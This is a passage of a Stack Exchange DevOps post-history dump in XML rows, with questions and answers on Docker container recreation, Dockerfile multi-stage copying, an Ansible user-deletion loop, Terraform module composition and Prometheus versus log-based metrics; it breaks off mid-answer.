  <row Id="24422" PostHistoryTypeId="2" PostId="8375" RevisionGUID="a14e16a2-8964-4173-a92c-3b492efe28c1" CreationDate="2019-06-13T10:08:42.550" UserId="15432" Text="I'm testing Wordpress docker on an Amazon EC2 machine.&#xD;&#xA;yesterday, all file based changes (like plugins, themes, etc) were gone. The Ec2 machine is up for 8 days, other containers are also up for 8 days, but the Wordpress container is like created 20 hours ago.&#xD;&#xA;&#xD;&#xA;I'm not asking about volume mapping etc, I know that to really persist file changes in a container we should use volumes, my question is:&#xD;&#xA;&#xD;&#xA;1-On what events the container is re-created?&#xD;&#xA;2-How can we see a log of all the events happening on the docker (and not in specific containers)? " ContentLicense="CC BY-SA 4.0" />
  <row Id="24423" PostHistoryTypeId="1" PostId="8375" RevisionGUID="a14e16a2-8964-4173-a92c-3b492efe28c1" CreationDate="2019-06-13T10:08:42.550" UserId="15432" Text="Why is docker container recreated" ContentLicense="CC BY-SA 4.0" />
  <row Id="24424" PostHistoryTypeId="3" PostId="8375" RevisionGUID="a14e16a2-8964-4173-a92c-3b492efe28c1" CreationDate="2019-06-13T10:08:42.550" UserId="15432" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24425" PostHistoryTypeId="5" PostId="8375" RevisionGUID="35c6b04e-0d8c-41a0-8d1b-27cb660e3ccc" CreationDate="2019-06-13T10:21:44.690" UserId="15432" Comment="added 59 characters in body" Text="I'm testing Wordpress docker on an Amazon EC2 machine.&#xD;&#xA;yesterday, all file based changes (like plugins, themes, etc) were gone. The Ec2 machine is up for 8 days, other containers are also up for 8 days, but the Wordpress container is like created 20 hours ago.&#xD;&#xA;&#xD;&#xA;I'm not asking about volume mapping etc, I know that to really persist file changes in a container we should use volumes, my question is:&#xD;&#xA;&#xD;&#xA; 1. 1-On what events the container is re-created? We've not used `docker run` when it's bee re-created&#xD;&#xA; 2. How can we see a log of all the events happening on the docker (and not in specific containers)? " ContentLicense="CC BY-SA 4.0" />
  <row Id="24426" PostHistoryTypeId="5" PostId="8366" RevisionGUID="073028da-78e5-478d-addf-e5bdeecc4218" CreationDate="2019-06-13T10:23:16.037" UserId="10380" Comment="more precise formulation" Text="# Problem&#xD;&#xA;I have two repositories A and B. I have a docker image registry, where I can push the docker images made of the repositories A and B.&#xD;&#xA;&#xD;&#xA;I need only the binary of A's source code to be included in the docker image of B. So when running the docker image of B, the jar file of A is present and can be used. And in case of updates in repository A, the registry image is subsequently updated.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;I've searched now several threads and the docker documentation. Is there a recommended way to make this happen with docker respectivly dockerfile commands?&#xD;&#xA;&#xD;&#xA;So far I tried the following and it worked, but it wasn't so intiutive. Is this the recommended way?&#xD;&#xA;```dockerfile&#xD;&#xA;FROM myregistry/my-A-img AS A&#xD;&#xA;FROM ubuntu-base-img&#xD;&#xA;&#xD;&#xA;# Build commands for B ...&#xD;&#xA;COPY build-B.jar /app&#xD;&#xA;&#xD;&#xA;# Get the A image from the registry&#xD;&#xA;COPY --from=A /path/to/build-A.jar /app/lib&#xD;&#xA;&#xD;&#xA;# Run B binaries&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="24427" PostHistoryTypeId="5" PostId="8372" RevisionGUID="04e59af7-a5cb-4569-8022-996f6910b862" CreationDate="2019-06-13T10:36:33.307" UserId="6743" Comment="added 19 characters in body" Text="I think this is achieveable with `terraform`s `null_resource` (https://www.terraform.io/docs/providers/null/resource.html) with `local-exec`.&#xD;&#xA;&#xD;&#xA;Example (untested):&#xD;&#xA;&#xD;&#xA;    resource &quot;null_resource&quot; &quot;helm_init_command&quot; {&#xD;&#xA;&#xD;&#xA;      provisioner &quot;local-exec&quot; {&#xD;&#xA;        command = &quot;helm --kubeconfig=&lt;...&gt; init&quot;&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24428" PostHistoryTypeId="2" PostId="8376" RevisionGUID="9f890176-03a9-47ab-9261-dacaaa3e94a1" CreationDate="2019-06-13T11:57:37.790" UserId="15122" Text="I have a list of users that I want to delete (del_users), but I only want to delete those that haven't mountpoint on your /home directory. My currently code is:&#xD;&#xA;&#xD;&#xA;    - name: Verify if exist mount point on /home&#xD;&#xA;      shell: &quot;mount -l | grep bind | grep -ci {{ item }}&quot;&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      check_mode: False&#xD;&#xA;      loop: &quot;{{ del_users }}&quot;&#xD;&#xA;      register: del_users_reg&#xD;&#xA;    &#xD;&#xA;    - name: Delete user if doesn't exist mount point on /home&#xD;&#xA;      user:&#xD;&#xA;        name: &quot;{{ item }}&quot;&#xD;&#xA;        state: absent&#xD;&#xA;        remove: yes&#xD;&#xA;      when: item.stdout_lines == 0&#xD;&#xA;      loop: del_users_reg&#xD;&#xA;&#xD;&#xA;When I execute this task appears the next error:&#xD;&#xA;&#xD;&#xA;    TASK [osbasic : Verify if exist mount point on /home] *******************************************************************************************************************************************************************************************&#xD;&#xA;     [WARNING]: Consider using the mount module rather than running 'mount'.  If you need to use command because mount is insufficient you can add 'warn: false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid&#xD;&#xA;    of this message.&#xD;&#xA;    &#xD;&#xA;    failed: [LGAUSUX10] (item=user1) =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;mount -l | grep bind | grep -ci usuario1&quot;, &quot;delta&quot;: &quot;0:00:00.025089&quot;, &quot;end&quot;: &quot;2019-06-11 13:33:40.978563&quot;, &quot;item&quot;: &quot;user1&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2019-06-11 13:33:40.953474&quot;, &quot;stderr&quot;: &quot;&quot;, &quot;stderr_lines&quot;: [], &quot;stdout&quot;: &quot;0&quot;, &quot;stdout_lines&quot;: [&quot;0&quot;]}&#xD;&#xA;    &#xD;&#xA;    TASK [osbasic : Verify if exist mount point on /home] *******************************************************************************************************************************************************************************************&#xD;&#xA;    ...ignoring&#xD;&#xA;    &#xD;&#xA;    TASK [osbasic : Delete user if doesn't exist mount point on /home] **********************************************************************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [osbasic : Delete user if doesn't exist mount point on /home] **********************************************************************************************************************************************************************************&#xD;&#xA;    fatal: [LGAUSUX10]: FAILED! =&gt; {&quot;msg&quot;: &quot;Invalid data passed to 'loop', it requires a list, got this instead: del_users_reg. Hint: If you passed a list/dict of just one element, try adding wantlist=True to your lookup invocation or use q/query instead of lookup.&quot;}&#xD;&#xA;            to retry, use: --limit @/etc/ansible/osbasic.retry&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP **********************************************************************************************************************************************************************************************************************************&#xD;&#xA;    LGAUSUX10                  : ok=9    changed=1    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;How could put a condition for delete users only if the result of first task is 0?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24429" PostHistoryTypeId="1" PostId="8376" RevisionGUID="9f890176-03a9-47ab-9261-dacaaa3e94a1" CreationDate="2019-06-13T11:57:37.790" UserId="15122" Text="Task to delete users without mount points in /home (using register and when)" ContentLicense="CC BY-SA 4.0" />
  <row Id="24430" PostHistoryTypeId="3" PostId="8376" RevisionGUID="9f890176-03a9-47ab-9261-dacaaa3e94a1" CreationDate="2019-06-13T11:57:37.790" UserId="15122" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24431" PostHistoryTypeId="2" PostId="8377" RevisionGUID="c8f746d3-e292-4950-a817-579c88565d43" CreationDate="2019-06-13T14:15:18.867" UserId="13111" Text="Several problems in your playbook.&#xD;&#xA;&#xD;&#xA; 1. `loop` is basically expecting a list, not a string containing a variable name. You need to expand your variable with a jinja2 expression =&gt; `loop: &quot;{{ some_list_variable }}&quot;&#xD;&#xA; 2. It will be hard to give you the correct syntax without seeing the exact data structure of your result var but... Typically, the register from a loop contains a `results` list of hashes, each containing info about the ran command for each loop iteration. This is your base loop for the second task =&gt; `loop: &quot;{{ del_users_reg.results }}&quot;`&#xD;&#xA;&#xD;&#xA;If you still have trouble fixing your playbook, update your question with a debug of the registered var and I will update my answer accordingly." ContentLicense="CC BY-SA 4.0" />
  <row Id="24432" PostHistoryTypeId="50" PostId="5928" RevisionGUID="d01a69ef-95b5-46ce-b699-721a9a30f177" CreationDate="2019-06-13T15:02:21.020" UserId="-1" />
  <row Id="24437" PostHistoryTypeId="2" PostId="8379" RevisionGUID="bf905bee-f344-4aeb-bd59-82cb0f3d5df7" CreationDate="2019-06-13T17:05:21.053" UserId="2463" Text="The `resource &quot;azurerm_network_interface_backend_address_pool_association&quot; &quot;network_interface&quot;` block doesn't have the `count` argument set, so `count.index` is not meaningful in that block.&#xD;&#xA;&#xD;&#xA;Given the specific pair of resource types you're using here, I expect your intent was to create one association for each network interface, in which case you'd add the following `count` argument to the second block:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  count = length(azurerm_network_interface.network_interface)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Although this didn't return an error on Terraform 0.11, it did not behave as I expect you intended: it would've created only one `azurerm_network_interface_backend_address_pool_association` for the _first_ network interface, and left the others unassociated.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If associating only the first one was your intent instead, then replace the `count.index` in the second block with `0` to be explicit that it's using only the first one:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  network_interface_id    = azurerm_network_interface.network_interface[0]&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24438" PostHistoryTypeId="2" PostId="8380" RevisionGUID="fd2b1150-565a-4289-bf7d-efc37648b584" CreationDate="2019-06-13T17:49:59.410" UserId="2463" Text="Modelling these permutations as a single module with lots of parameters is possible as you've seen, but it's often not an ideal way to model things because this sort of careful rollout strategy tends to require control over individual steps, rather than rolling everything all at once.&#xD;&#xA;&#xD;&#xA;The Terraform team recommends using [module composition](https://www.terraform.io/docs/modules/composition.html) instead. That means to split the problem into multiple smaller modules that the calling module can then combine to achieve the desired result.&#xD;&#xA;&#xD;&#xA;In your specific case, it looks like there are three different building blocks: a load balancer, an optional Cloudfront distribution, and a DNS record. I'm going to show some examples of module composition using Terraform 0.12 features. If you're still using Terraform 0.11 then you can still follow a similar pattern, but Terraform 0.11's expression handling is more limited so the details would look different.&#xD;&#xA;&#xD;&#xA;When breaking down this problem, my first step would be to identify what information needs to flow between these components. In this case:&#xD;&#xA;* The load balancer has some arguments of its own, but it doesn't depend on the other components at all.&#xD;&#xA;* The optional Cloudfront distribution needs to know the hostname of the load balancer.&#xD;&#xA;* The Route53 record needs a record name and zone id to populate an `alias` block; they could be for either the load balancer or the Cloudfront distribution depending on which of the two architectures the calling module is following.&#xD;&#xA;&#xD;&#xA;In the full architecture where Cloudfront is used, these modules might be composed like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;load_balancer&quot; {&#xD;&#xA;  source = &quot;./modules/load-balancer&quot;&#xD;&#xA;&#xD;&#xA;  # ... load-balancer specific arguments&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;cloudfront&quot; {&#xD;&#xA;  source = &quot;./modules/cloudfront&quot;&#xD;&#xA;&#xD;&#xA;  target = module.load_balancer.dns_name&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;dns&quot; {&#xD;&#xA;  source = &quot;./modules/route53-record&quot;&#xD;&#xA;&#xD;&#xA;  alias = module.cloudfront.route53_alias&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the load-balancer-only architecture, we remove the `cloudfront` module and connect the DNS directly to the load balancer:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;load_balancer&quot; {&#xD;&#xA;  source = &quot;./modules/load-balancer&quot;&#xD;&#xA;&#xD;&#xA;  # ... load-balancer specific arguments&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;dns&quot; {&#xD;&#xA;  source = &quot;./modules/route53-record&quot;&#xD;&#xA;&#xD;&#xA;  alias = module.load_balancer.route53_alias&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Terraform 0.12 allows us to define that `alias` variable on the `dns` module with a specific object type, to easily pass the alias settings between modules as a single object value:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# (in the route53-record module)&#xD;&#xA;variable &quot;alias&quot; {&#xD;&#xA;  type = object({&#xD;&#xA;    name    = string&#xD;&#xA;    zone_id = string&#xD;&#xA;  })&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route53_record&quot; &quot;example&quot; {&#xD;&#xA;  # (other arguments as in your example)&#xD;&#xA;&#xD;&#xA;  alias {&#xD;&#xA;    name                   = var.alias.name&#xD;&#xA;    zone_id                = var.alias.zone_id&#xD;&#xA;    evaluate_target_health = true&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The idea here is that both of the other modules follow this conventional structure so that the `route53-record` module can be compatible with both of them without caring which one is used. This would then correspond with outputs in each of the other modules following the same structure:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# in the load-balancer module&#xD;&#xA;output &quot;route53_alias&quot; {&#xD;&#xA;  value = {&#xD;&#xA;    name    = aws_alb.example.dns_name&#xD;&#xA;    zone_id = aws_alb.example.zone_id&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# in the cloudfront module&#xD;&#xA;output &quot;route53_alias&quot; {&#xD;&#xA;  value = {&#xD;&#xA;    name    = aws_cloudfront_distribution.example.domain_name&#xD;&#xA;    zone_id = aws_cloudfront_distribution.example.hosted_zone_id&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With this different design, we can address your original use-case by giving control to the author of the calling module to drive the switch between these two models. In order to avoid downtime when switching from Cloudfront back to the load balancer, we need to repoint the DNS first and then destroy the Cloudfront distribution only when it is no longer used. So we can do that in two steps, first by modifying the first example above to point the DNS record at the load balancer while retaining the Cloudfront distribution:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;load_balancer&quot; {&#xD;&#xA;  source = &quot;./modules/load-balancer&quot;&#xD;&#xA;&#xD;&#xA;  # ... load-balancer specific arguments&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;cloudfront&quot; {&#xD;&#xA;  source = &quot;./modules/cloudfront&quot;&#xD;&#xA;&#xD;&#xA;  target = module.load_balancer.dns_name&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;dns&quot; {&#xD;&#xA;  source = &quot;./modules/route53-record&quot;&#xD;&#xA;&#xD;&#xA;  alias = module.load_balanccer.route53_alias&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, once the Cloudfront distribution has become idle, remove that module altogether at your leisure and apply again to clean it up.&#xD;&#xA;&#xD;&#xA;Composition is the primary way we model relationships in Terraform, so it's most natural to use composition when working with modules too, rather than building big modules with lots of conditionals to handle every permutation. Composition allows flexibility in how to make changes to the infrastructure in future so that the maintainer of the top-level module can be the one to decide what tradeoffs to make, such as making smaller changes to avoid downtime.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I used modules above because the original question was about modules, but I'd not also that after this decomposition we're left with one module per resource whose name is the resource type, which is one of the &quot;smell tests&quot; in [When to write a module?](https://www.terraform.io/docs/modules/index.html#when-to-write-a-module).&#xD;&#xA;&#xD;&#xA;If decomposing these into separate modules ends up just creating modules that are thin wrappers around single resource blocks then it's usually better to just eliminate the module altogether and just use the resource types directly.&#xD;&#xA;&#xD;&#xA;However, if one or more of the modules still raises the level of abstraction (e.g. by providing hard-coded good values for most of the resource arguments and only exposing a small subset of them for customization) then that module in particular may still be warranted.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24439" PostHistoryTypeId="50" PostId="8133" RevisionGUID="9ec6e758-285a-4083-91df-50d1b761496f" CreationDate="2019-06-13T19:02:10.157" UserId="-1" />
  <row Id="24440" PostHistoryTypeId="2" PostId="8381" RevisionGUID="90c1a5be-ff98-48c7-a486-140061d3983a" CreationDate="2019-06-13T19:02:35.497" UserId="13461" Text="First, see Docker daemon’s log. Refer docker [docs][1]&#xA;&#xA;  [1]: https://docs.docker.com/config/daemon/&#xA;&#xA;&#xA;If some request or command executed to the Wordpress container, it might had restarted through docker daemon." ContentLicense="CC BY-SA 4.0" />
  <row Id="24441" PostHistoryTypeId="5" PostId="8375" RevisionGUID="e3ec6e69-c812-437e-9cbf-e6eb6f031813" CreationDate="2019-06-13T21:02:34.733" UserId="15432" Comment="added 729 characters in body" Text="I'm testing Wordpress docker on an Amazon EC2 machine.&#xD;&#xA;yesterday, all file based changes (like plugins, themes, etc) were gone. The Ec2 machine is up for 8 days, other containers are also up for 8 days, but the Wordpress container is like created 20 hours ago.&#xD;&#xA;&#xD;&#xA;I'm not asking about volume mapping etc, I know that to really persist file changes in a container we should use volumes, my question is:&#xD;&#xA;&#xD;&#xA; 1. 1-On what events the container is re-created? We've not used `docker run` when it's bee re-created&#xD;&#xA; 2. How can we see a log of all the events happening on the docker (and not in specific containers)? &#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Log from `journalctl -u docker.service`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Jun 11 16:05:44 ip-172-31-39-113 dockerd[906]: time=&quot;2019-06-11T16:05:44.328303723Z&quot; level=info msg=&quot;ignoring event&quot; module=libcontainerd namespace=moby topic=/tasks/delete&#xD;&#xA;Jun 13 04:05:30 ip-172-31-39-113 dockerd[906]: time=&quot;2019-06-13T04:05:30.306067658Z&quot; level=info msg=&quot;ignoring event&quot; module=libcontainerd namespace=moby topic=/tasks/delete&#xD;&#xA;Jun 13 13:40:31 ip-172-31-39-113 systemd[1]: Stopping Docker Application Container Engine...&#xD;&#xA;Jun 13 13:40:31 ip-172-31-39-113 dockerd[906]: time=&quot;2019-06-13T13:40:31.557328738Z&quot; level=info msg=&quot;Processing signal 'terminated'&quot;&#xD;&#xA;```&#xD;&#xA;Only the second line is almost at the time container has been deleted and re-created" ContentLicense="CC BY-SA 4.0" />
  <row Id="24444" PostHistoryTypeId="50" PostId="8002" RevisionGUID="a849c9da-fa27-426a-b0db-2c8f6561c13b" CreationDate="2019-06-13T23:02:30.273" UserId="-1" />
  <row Id="24448" PostHistoryTypeId="2" PostId="8384" RevisionGUID="11cb6b38-e26e-4db6-b519-94d3e13383e1" CreationDate="2019-06-14T01:02:02.303" UserId="15451" Text="I want to setup monitoring on our environment. I am wondering on what are the advantages of using something like Prometheus for making metrics vs. just using something like the ELK stack for creating similar metrics using logs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24449" PostHistoryTypeId="1" PostId="8384" RevisionGUID="11cb6b38-e26e-4db6-b519-94d3e13383e1" CreationDate="2019-06-14T01:02:02.303" UserId="15451" Text="What is the advantage of using Prometheus over ingesting metrics using logs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24450" PostHistoryTypeId="3" PostId="8384" RevisionGUID="11cb6b38-e26e-4db6-b519-94d3e13383e1" CreationDate="2019-06-14T01:02:02.303" UserId="15451" Text="&lt;monitoring&gt;&lt;prometheus&gt;&lt;metrics&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24451" PostHistoryTypeId="2" PostId="8385" RevisionGUID="18b2a31e-d795-4d32-9636-932dd75e6421" CreationDate="2019-06-14T02:25:32.550" UserId="739" Text="# Efficiency&#xD;&#xA;&#xD;&#xA;If you don't need the file it saves space and trouble to leave it out.  Logs require rotation and retention policies which are nice to skip.&#xD;&#xA;&#xD;&#xA;# Reliability&#xD;&#xA;&#xD;&#xA;Skipping the file avoids issues with the file that could caused lost metrics like a full disk.&#xD;&#xA;&#xD;&#xA;# Latency&#xD;&#xA;&#xD;&#xA;Skipping the file means that you remove latency from disk I/O.  For most metrics you don't care if they show up a few seconds late, but if you're trying to build things to respond to some metric quickly.  You might want to put it on Kafka also." ContentLicense="CC BY-SA 4.0" />
  <row Id="24452" PostHistoryTypeId="5" PostId="8375" RevisionGUID="113134ce-e583-4d71-b3f4-e5b2b6a51b57" CreationDate="2019-06-14T04:23:31.000" UserId="15432" Comment="added 364 characters in body" Text="I'm testing Wordpress docker on an Amazon EC2 machine.&#xD;&#xA;yesterday, all file based changes (like plugins, themes, etc) were gone. The Ec2 machine is up for 8 days, other containers are also up for 8 days, but the Wordpress container is like created 20 hours ago.&#xD;&#xA;&#xD;&#xA;I'm not asking about volume mapping etc, I know that to really persist file changes in a container we should use volumes, my question is:&#xD;&#xA;&#xD;&#xA; 1. 1-On what events the container is re-created? We've not used `docker run` when it's bee re-created&#xD;&#xA; 2. How can we see a log of all the events happening on the docker (and not in specific containers)? &#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;Log from `journalctl -u docker.service`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Jun 11 16:05:44 ip-172-31-39-113 dockerd[906]: time=&quot;2019-06-11T16:05:44.328303723Z&quot; level=info msg=&quot;ignoring event&quot; module=libcontainerd namespace=moby topic=/tasks/delete&#xD;&#xA;Jun 13 04:05:30 ip-172-31-39-113 dockerd[906]: time=&quot;2019-06-13T04:05:30.306067658Z&quot; level=info msg=&quot;ignoring event&quot; module=libcontainerd namespace=moby topic=/tasks/delete&#xD;&#xA;Jun 13 13:40:31 ip-172-31-39-113 systemd[1]: Stopping Docker Application Container Engine...&#xD;&#xA;Jun 13 13:40:31 ip-172-31-39-113 dockerd[906]: time=&quot;2019-06-13T13:40:31.557328738Z&quot; level=info msg=&quot;Processing signal 'terminated'&quot;&#xD;&#xA;```&#xD;&#xA;Only the second line is almost at the time container has been deleted and re-created&#xD;&#xA;&#xD;&#xA;EDIT2:&#xD;&#xA;output from `docker ps -a`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;CONTAINER ID        IMAGE                              COMMAND                  CREATED             STATUS                    PORTS               NAMES&#xD;&#xA;3aebfdef77c8        wordpress:latest                   &quot;docker-entrypoint.s…&quot;   24 hours ago        Exited (0) 15 hours ago                       site-wordpress&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24453" PostHistoryTypeId="2" PostId="8386" RevisionGUID="2335ea33-b3c5-4231-b971-03676e8c486c" CreationDate="2019-06-14T08:09:20.477" UserId="840" Text="You could try to use docker compose and the docker compose &quot;extra_hosts&quot; tag, as described on the docker compose specification at https://docs.docker.com/compose/compose-file/.&#xD;&#xA;&#xD;&#xA;&gt; extra_hosts&#xD;&#xA;&gt;&#xD;&#xA;&gt; Add hostname mappings. Use the same values as the docker client --add-host parameter.&#xD;&#xA;&gt;&#xD;&#xA;&gt; extra_hosts:&#xD;&#xA;&gt;&#xD;&#xA;&gt; - &quot;somehost:162.242.195.82&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; - &quot;otherhost:50.31.209.229&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; An entry with the ip address and hostname is created in /etc/hosts &#xD;&#xA;&gt; for this service, e.g:&#xD;&#xA;&gt;&#xD;&#xA;&gt; 162.242.195.82  somehost&#xD;&#xA;&gt;&#xD;&#xA;&gt; 50.31.209.229   otherhostinside containers&#xD;&#xA;&#xD;&#xA;So, this will mean, that you need to use docker compose in addition to docker.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24458" PostHistoryTypeId="2" PostId="8388" RevisionGUID="b516f543-420e-4e19-ad1b-0c83418e592e" CreationDate="2019-06-14T10:08:40.077" UserId="15460" Text="I faced the similar problem recently, but fixed it by providing additional roles to the service account. I am not sure what permissions you need, you need to look it up. In my case, I was trying to create an appengine project, So I had to add &quot;Appengine Admin&quot; role to the service account and enable &quot;appengine.googleapis.com&quot; via terraform resource &quot;google_project_service&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24463" PostHistoryTypeId="50" PostId="5100" RevisionGUID="a9c87c7a-40cd-44db-8e4b-55886f739517" CreationDate="2019-06-14T16:03:06.043" UserId="-1" />
  <row Id="24468" PostHistoryTypeId="5" PostId="8380" RevisionGUID="941e01a1-6c8b-4026-a878-577be48f2ae7" CreationDate="2019-06-14T17:56:08.510" UserId="2463" Comment="fix list formatting" Text="Modelling these permutations as a single module with lots of parameters is possible as you've seen, but it's often not an ideal way to model things because this sort of careful rollout strategy tends to require control over individual steps, rather than rolling everything all at once.&#xD;&#xA;&#xD;&#xA;The Terraform team recommends using [module composition](https://www.terraform.io/docs/modules/composition.html) instead. That means to split the problem into multiple smaller modules that the calling module can then combine to achieve the desired result.&#xD;&#xA;&#xD;&#xA;In your specific case, it looks like there are three different building blocks: a load balancer, an optional Cloudfront distribution, and a DNS record. I'm going to show some examples of module composition using Terraform 0.12 features. If you're still using Terraform 0.11 then you can still follow a similar pattern, but Terraform 0.11's expression handling is more limited so the details would look different.&#xD;&#xA;&#xD;&#xA;When breaking down this problem, my first step would be to identify what information needs to flow between these components. In this case:&#xD;&#xA;&#xD;&#xA;* The load balancer has some arguments of its own, but it doesn't depend on the other components at all.&#xD;&#xA;* The optional Cloudfront distribution needs to know the hostname of the load balancer.&#xD;&#xA;* The Route53 record needs a record name and zone id to populate an `alias` block; they could be for either the load balancer or the Cloudfront distribution depending on which of the two architectures the calling module is following.&#xD;&#xA;&#xD;&#xA;In the full architecture where Cloudfront is used, these modules might be composed like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;load_balancer&quot; {&#xD;&#xA;  source = &quot;./modules/load-balancer&quot;&#xD;&#xA;&#xD;&#xA;  # ... load-balancer specific arguments&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;cloudfront&quot; {&#xD;&#xA;  source = &quot;./modules/cloudfront&quot;&#xD;&#xA;&#xD;&#xA;  target = module.load_balancer.dns_name&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;dns&quot; {&#xD;&#xA;  source = &quot;./modules/route53-record&quot;&#xD;&#xA;&#xD;&#xA;  alias = module.cloudfront.route53_alias&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the load-balancer-only architecture, we remove the `cloudfront` module and connect the DNS directly to the load balancer:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;load_balancer&quot; {&#xD;&#xA;  source = &quot;./modules/load-balancer&quot;&#xD;&#xA;&#xD;&#xA;  # ... load-balancer specific arguments&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;dns&quot; {&#xD;&#xA;  source = &quot;./modules/route53-record&quot;&#xD;&#xA;&#xD;&#xA;  alias = module.load_balancer.route53_alias&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Terraform 0.12 allows us to define that `alias` variable on the `dns` module with a specific object type, to easily pass the alias settings between modules as a single object value:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# (in the route53-record module)&#xD;&#xA;variable &quot;alias&quot; {&#xD;&#xA;  type = object({&#xD;&#xA;    name    = string&#xD;&#xA;    zone_id = string&#xD;&#xA;  })&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route53_record&quot; &quot;example&quot; {&#xD;&#xA;  # (other arguments as in your example)&#xD;&#xA;&#xD;&#xA;  alias {&#xD;&#xA;    name                   = var.alias.name&#xD;&#xA;    zone_id                = var.alias.zone_id&#xD;&#xA;    evaluate_target_health = true&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The idea here is that both of the other modules follow this conventional structure so that the `route53-record` module can be compatible with either of them without caring which one is used. This would then correspond with outputs in each of the other modules following the same structure:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# in the load-balancer module&#xD;&#xA;output &quot;route53_alias&quot; {&#xD;&#xA;  value = {&#xD;&#xA;    name    = aws_alb.example.dns_name&#xD;&#xA;    zone_id = aws_alb.example.zone_id&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# in the cloudfront module&#xD;&#xA;output &quot;route53_alias&quot; {&#xD;&#xA;  value = {&#xD;&#xA;    name    = aws_cloudfront_distribution.example.domain_name&#xD;&#xA;    zone_id = aws_cloudfront_distribution.example.hosted_zone_id&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With this different design, we can address your original use-case by giving control to the author of the calling module to drive the switch between these two models. In order to avoid downtime when switching from Cloudfront back to the load balancer, we need to repoint the DNS first and then destroy the Cloudfront distribution only when it is no longer used. So we can do that in two steps, first by modifying the first example above to point the DNS record at the load balancer while retaining the Cloudfront distribution:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;load_balancer&quot; {&#xD;&#xA;  source = &quot;./modules/load-balancer&quot;&#xD;&#xA;&#xD;&#xA;  # ... load-balancer specific arguments&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;cloudfront&quot; {&#xD;&#xA;  source = &quot;./modules/cloudfront&quot;&#xD;&#xA;&#xD;&#xA;  target = module.load_balancer.dns_name&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;dns&quot; {&#xD;&#xA;  source = &quot;./modules/route53-record&quot;&#xD;&#xA;&#xD;&#xA;  alias = 